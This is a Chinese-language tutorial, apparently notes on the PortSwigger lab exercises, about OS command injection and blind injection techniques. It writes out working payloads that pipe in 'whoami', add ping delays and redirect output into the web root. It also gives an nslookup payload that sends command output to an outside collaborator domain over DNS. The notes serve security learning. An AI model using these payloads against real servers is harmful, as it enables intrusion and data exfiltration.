作業系統命令注入也稱為 shell 注入。它允許攻擊者在運行應用程式的伺服器上執行作業系統 (OS) 命令
例如,有些服務器會根據使用者提交參數在執行特定指令,如下
https://insecure-website.com/stockStatus?productID=381&storeID=29
就會讓服務器執行stockreport.pl 381 29
如果沒有針對作業系統命令注入進行防禦,可以使用以下攻擊語法執行任意命令
https://insecure-website.com/stockStatus?productID=381&storeID=29|whoami
目標服務器將執行stockreport.pl 381 29|whoami
,然後返回內容就是顯示whoami的執行結果
Lab: OS command injection, simple case
以下是常見的命令
命令的目的 | Linux | 視窗 |
---|---|---|
目前使用者名稱 | whoami | whoami |
作業系統 | uname -a | ver |
網路設定 | ifconfig | ipconfig /all |
網路連線 | netstat -an | netstat -an |
正在運行的進程 | ps -ef | tasklist |
以下是常見的命令分隔符
適用於Windows和基於Unix 的系統:&
,&&
,|
,||
只適用於基於Unix 的系統:;
, \n
, 0x0a
blind OS command injection
大部份作業系統命令注入都是屬於盲注。這意味著應用程式不會在 HTTP 回應中傳回命令的輸出結果,因此需要使用不同的方法,常見的方法如下:
- 用時間延遲測試盲注
- 用重定向輸出測試盲注
- 用OAST測試盲注
用時間延遲測試盲注
可以用等待時間來判斷是否盲注
例如,修改請求參數,加入ping 10次的命令,當完成後網站才會返回結果
email=x||ping+-c+10+127.0.0.1||
假如10秒後才返回結果,代表存在漏洞
Lab: Blind OS command injection with time delays
用重定向輸出測試盲注
可以將盲注結果輸出到可讀取的位置
例如,修改請求參數,將whoami結果輸出到網站目錄的output.txt內
email=||whoami>/var/www/images/output.txt||
假如訪問網站images/output.txt可看到結果,代表存在漏洞
Lab: Blind OS command injection with output redirection
用OAST測試盲注
可以使用out-of-band的方式測試可否觸及外網
例如,修改請求參數,使用nslookup查詢外網網址
email=x||nslookup+x.burpcollaborator.net||
如果x.burpcollaborator.net的dns有記錄到查詢行為,代表存在漏洞
Lab: Blind OS command injection with out-of-band interaction
也可以透過DNS通道,把結果利用查詢內容傳出去
例如,把whoami的結果當做子網域,透過nslookup查詢
email=||nslookup+`whoami`.x.burpcollaborator.net||
x.burpcollaborator.net的dns的記錄就會查到一個含有whoami命令結果的內容
Lab: Blind OS command injection with out-of-band data exfiltration